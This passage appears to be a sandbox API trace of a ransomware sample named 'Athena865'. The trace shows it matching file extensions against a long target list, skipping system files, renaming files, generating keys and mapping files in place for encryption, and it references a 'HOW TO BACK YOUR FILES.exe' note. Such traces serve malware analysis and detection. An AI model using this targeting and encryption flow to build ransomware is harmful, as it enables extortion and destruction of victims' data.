lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0103.819] lstrlenW (lpString="fp3") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0103.819] lstrlenW (lpString="fp4") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0103.819] lstrlenW (lpString="fp5") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0103.819] lstrlenW (lpString="fp7") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0103.819] lstrlenW (lpString="fpt") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0103.819] lstrlenW (lpString="frm") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0103.819] lstrlenW (lpString="gdb") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.819] lstrlenW (lpString="gdb") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0103.819] lstrlenW (lpString="grdb") returned 4 [0103.819] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0103.819] lstrlenW (lpString="gwi") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0103.819] lstrlenW (lpString="hdb") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0103.819] lstrlenW (lpString="his") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0103.819] lstrlenW (lpString="ib") returned 2 [0103.819] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0103.819] lstrlenW (lpString="idb") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0103.819] lstrlenW (lpString="ihx") returned 3 [0103.819] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0103.819] lstrlenW (lpString="itdb") returned 4 [0103.820] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0103.820] lstrlenW (lpString="itw") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0103.820] lstrlenW (lpString="jet") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0103.820] lstrlenW (lpString="jtx") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0103.820] lstrlenW (lpString="kdb") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0103.820] lstrlenW (lpString="kexi") returned 4 [0103.820] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0103.820] lstrlenW (lpString="kexic") returned 5 [0103.820] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0103.820] lstrlenW (lpString="kexis") returned 5 [0103.820] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0103.820] lstrlenW (lpString="lgc") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0103.820] lstrlenW (lpString="lwx") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0103.820] lstrlenW (lpString="maf") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0103.820] lstrlenW (lpString="maq") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0103.820] lstrlenW (lpString="mar") returned 3 [0103.820] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0103.820] lstrlenW (lpString="marshal") returned 7 [0103.821] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0103.821] lstrlenW (lpString="mas") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0103.821] lstrlenW (lpString="mav") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0103.821] lstrlenW (lpString="maw") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0103.821] lstrlenW (lpString="mdbhtml") returned 7 [0103.821] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0103.821] lstrlenW (lpString="mdn") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0103.821] lstrlenW (lpString="mdt") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0103.821] lstrlenW (lpString="mfd") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0103.821] lstrlenW (lpString="mpd") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0103.821] lstrlenW (lpString="mrg") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0103.821] lstrlenW (lpString="mud") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0103.821] lstrlenW (lpString="mwb") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0103.821] lstrlenW (lpString="myd") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0103.821] lstrlenW (lpString="ndf") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0103.821] lstrlenW (lpString="nnt") returned 3 [0103.821] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0103.821] lstrlenW (lpString="nrmlib") returned 6 [0103.821] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0103.821] lstrlenW (lpString="ns2") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0103.822] lstrlenW (lpString="ns3") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0103.822] lstrlenW (lpString="ns4") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0103.822] lstrlenW (lpString="nsf") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0103.822] lstrlenW (lpString="nv") returned 2 [0103.822] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0103.822] lstrlenW (lpString="nv2") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0103.822] lstrlenW (lpString="nwdb") returned 4 [0103.822] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0103.822] lstrlenW (lpString="nyf") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0103.822] lstrlenW (lpString="odb") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.822] lstrlenW (lpString="odb") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0103.822] lstrlenW (lpString="oqy") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0103.822] lstrlenW (lpString="ora") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0103.822] lstrlenW (lpString="orx") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0103.822] lstrlenW (lpString="owc") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0103.822] lstrlenW (lpString="p96") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0103.822] lstrlenW (lpString="p97") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0103.822] lstrlenW (lpString="pan") returned 3 [0103.822] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0103.823] lstrlenW (lpString="pdb") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0103.823] lstrlenW (lpString="pdm") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0103.823] lstrlenW (lpString="pnz") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0103.823] lstrlenW (lpString="qry") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0103.823] lstrlenW (lpString="qvd") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0103.823] lstrlenW (lpString="rbf") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0103.823] lstrlenW (lpString="rctd") returned 4 [0103.823] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0103.823] lstrlenW (lpString="rod") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0103.823] lstrlenW (lpString="rodx") returned 4 [0103.823] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0103.823] lstrlenW (lpString="rpd") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0103.823] lstrlenW (lpString="rsd") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0103.823] lstrlenW (lpString="sas7bdat") returned 8 [0103.823] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0103.823] lstrlenW (lpString="sbf") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0103.823] lstrlenW (lpString="scx") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0103.823] lstrlenW (lpString="sdb") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0103.823] lstrlenW (lpString="sdc") returned 3 [0103.823] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0103.823] lstrlenW (lpString="sdf") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0103.824] lstrlenW (lpString="sis") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0103.824] lstrlenW (lpString="spq") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0103.824] lstrlenW (lpString="te") returned 2 [0103.824] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0103.824] lstrlenW (lpString="teacher") returned 7 [0103.824] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0103.824] lstrlenW (lpString="tmd") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0103.824] lstrlenW (lpString="tps") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0103.824] lstrlenW (lpString="trc") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.824] lstrlenW (lpString="trc") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0103.824] lstrlenW (lpString="trm") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0103.824] lstrlenW (lpString="udb") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0103.824] lstrlenW (lpString="udl") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0103.824] lstrlenW (lpString="usr") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0103.824] lstrlenW (lpString="v12") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0103.824] lstrlenW (lpString="vis") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0103.824] lstrlenW (lpString="vpd") returned 3 [0103.824] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0103.824] lstrlenW (lpString="vvv") returned 3 [0103.825] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0103.825] lstrlenW (lpString="wdb") returned 3 [0103.825] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0103.825] lstrlenW (lpString="wmdb") returned 4 [0103.825] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0103.825] lstrlenW (lpString="wrk") returned 3 [0103.825] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0103.825] lstrlenW (lpString="xdb") returned 3 [0103.825] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0103.825] lstrlenW (lpString="xld") returned 3 [0103.825] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0103.825] lstrlenW (lpString="xmlff") returned 5 [0103.825] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0103.825] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Music\\Sample Music\\desktop.ini.Athena865") returned 73 [0103.825] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\documents and settings\\public\\music\\sample music\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0103.828] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.828] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=586) returned 1 [0103.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0103.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0103.828] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0103.828] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0103.829] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0103.829] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0103.829] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x550, lpName=0x0) returned 0x154 [0103.831] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x550) returned 0x100000 [0103.832] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0103.832] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0103.833] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0103.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0103.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0103.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0103.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0103.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0103.833] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0103.833] CloseHandle (hObject=0x154) returned 1 [0103.833] CloseHandle (hObject=0x17c) returned 1 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0103.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0103.834] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f1bd80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7f1bd80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.834] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.834] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="..") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="windows") returned -1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="bootmgr") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="temp") returned -1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="pagefile.sys") returned -1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="boot") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="ids.txt") returned 1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="ntuser.dat") returned -1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="perflogs") returned -1 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2="MSBuild") returned -1 [0103.834] lstrlenW (lpString="Kalimba.mp3") returned 11 [0103.834] lstrcpyW (in: lpString1=0x241e8b0, lpString2="Kalimba.mp3" | out: lpString1="Kalimba.mp3") returned="Kalimba.mp3" [0103.834] lstrlenW (lpString="Kalimba.mp3") returned 11 [0103.834] lstrlenW (lpString="Athena865") returned 9 [0103.834] lstrcmpiW (lpString1="limba.mp3", lpString2="Athena865") returned 1 [0103.834] lstrlenW (lpString=".dll") returned 4 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".dll") returned 1 [0103.834] lstrlenW (lpString=".lnk") returned 4 [0103.834] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".lnk") returned 1 [0103.834] lstrlenW (lpString=".ini") returned 4 [0103.835] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".ini") returned 1 [0103.835] lstrlenW (lpString=".sys") returned 4 [0103.835] lstrcmpiW (lpString1="Kalimba.mp3", lpString2=".sys") returned 1 [0103.835] lstrlenW (lpString="Kalimba.mp3") returned 11 [0103.835] lstrlenW (lpString="bak") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1 [0103.835] lstrlenW (lpString="ba_") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1 [0103.835] lstrlenW (lpString="dbb") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1 [0103.835] lstrlenW (lpString="vmdk") returned 4 [0103.835] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1 [0103.835] lstrlenW (lpString="rar") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1 [0103.835] lstrlenW (lpString="zip") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1 [0103.835] lstrlenW (lpString="tgz") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1 [0103.835] lstrlenW (lpString="vbox") returned 4 [0103.835] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1 [0103.835] lstrlenW (lpString="vdi") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1 [0103.835] lstrlenW (lpString="vhd") returned 3 [0103.835] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1 [0103.835] lstrlenW (lpString="vhdx") returned 4 [0103.835] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1 [0103.835] lstrlenW (lpString="avhd") returned 4 [0103.835] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1 [0103.835] lstrlenW (lpString="db") returned 2 [0103.835] lstrcmpiW (lpString1="p3", lpString2="db") returned 1 [0103.835] lstrlenW (lpString="db2") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1 [0103.836] lstrlenW (lpString="db3") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1 [0103.836] lstrlenW (lpString="dbf") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1 [0103.836] lstrlenW (lpString="mdf") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1 [0103.836] lstrlenW (lpString="mdb") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1 [0103.836] lstrlenW (lpString="sql") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1 [0103.836] lstrlenW (lpString="sqlite") returned 6 [0103.836] lstrcmpiW (lpString1="ba.mp3", lpString2="sqlite") returned -1 [0103.836] lstrlenW (lpString="sqlite3") returned 7 [0103.836] lstrcmpiW (lpString1="mba.mp3", lpString2="sqlite3") returned -1 [0103.836] lstrlenW (lpString="sqlitedb") returned 8 [0103.836] lstrcmpiW (lpString1="imba.mp3", lpString2="sqlitedb") returned -1 [0103.836] lstrlenW (lpString="xml") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1 [0103.836] lstrlenW (lpString="$er") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1 [0103.836] lstrlenW (lpString="4dd") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1 [0103.836] lstrlenW (lpString="4dl") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1 [0103.836] lstrlenW (lpString="^^^") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1 [0103.836] lstrlenW (lpString="abs") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1 [0103.836] lstrlenW (lpString="abx") returned 3 [0103.836] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1 [0103.837] lstrlenW (lpString="accdb") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accdb") returned -1 [0103.837] lstrlenW (lpString="accdc") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accdc") returned -1 [0103.837] lstrlenW (lpString="accde") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accde") returned -1 [0103.837] lstrlenW (lpString="accdr") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accdr") returned -1 [0103.837] lstrlenW (lpString="accdt") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accdt") returned -1 [0103.837] lstrlenW (lpString="accdw") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accdw") returned -1 [0103.837] lstrlenW (lpString="accft") returned 5 [0103.837] lstrcmpiW (lpString1="a.mp3", lpString2="accft") returned -1 [0103.837] lstrlenW (lpString="adb") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0103.837] lstrlenW (lpString="adb") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="adb") returned 1 [0103.837] lstrlenW (lpString="ade") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="ade") returned 1 [0103.837] lstrlenW (lpString="adf") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="adf") returned 1 [0103.837] lstrlenW (lpString="adn") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="adn") returned 1 [0103.837] lstrlenW (lpString="adp") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="adp") returned 1 [0103.837] lstrlenW (lpString="alf") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="alf") returned 1 [0103.837] lstrlenW (lpString="ask") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="ask") returned 1 [0103.837] lstrlenW (lpString="btr") returned 3 [0103.837] lstrcmpiW (lpString1="mp3", lpString2="btr") returned 1 [0103.837] lstrlenW (lpString="cat") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="cat") returned 1 [0103.838] lstrlenW (lpString="cdb") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1 [0103.838] lstrlenW (lpString="ckp") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1 [0103.838] lstrlenW (lpString="cma") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1 [0103.838] lstrlenW (lpString="cpd") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1 [0103.838] lstrlenW (lpString="dacpac") returned 6 [0103.838] lstrcmpiW (lpString1="ba.mp3", lpString2="dacpac") returned -1 [0103.838] lstrlenW (lpString="dad") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1 [0103.838] lstrlenW (lpString="dadiagrams") returned 10 [0103.838] lstrcmpiW (lpString1="alimba.mp3", lpString2="dadiagrams") returned -1 [0103.838] lstrlenW (lpString="daschema") returned 8 [0103.838] lstrcmpiW (lpString1="imba.mp3", lpString2="daschema") returned 1 [0103.838] lstrlenW (lpString="db-journal") returned 10 [0103.838] lstrcmpiW (lpString1="alimba.mp3", lpString2="db-journal") returned -1 [0103.838] lstrlenW (lpString="db-shm") returned 6 [0103.838] lstrcmpiW (lpString1="ba.mp3", lpString2="db-shm") returned -1 [0103.838] lstrlenW (lpString="db-wal") returned 6 [0103.838] lstrcmpiW (lpString1="ba.mp3", lpString2="db-wal") returned -1 [0103.838] lstrlenW (lpString="dbc") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1 [0103.838] lstrlenW (lpString="dbs") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1 [0103.838] lstrlenW (lpString="dbt") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1 [0103.838] lstrlenW (lpString="dbv") returned 3 [0103.838] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1 [0103.838] lstrlenW (lpString="dbx") returned 3 [0103.839] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1 [0103.839] lstrlenW (lpString="dcb") returned 3 [0103.839] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1 [0103.839] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1 [0103.839] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Kalimba.mp3.Athena865") returned 73 [0103.839] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\documents and settings\\public\\music\\sample music\\kalimba.mp3"), lpNewFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Kalimba.mp3.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\kalimba.mp3.athena865"), dwFlags=0x1) returned 1 [0103.840] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Music\\Sample Music\\Kalimba.mp3.Athena865" (normalized: "c:\\documents and settings\\public\\music\\sample music\\kalimba.mp3.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0103.840] 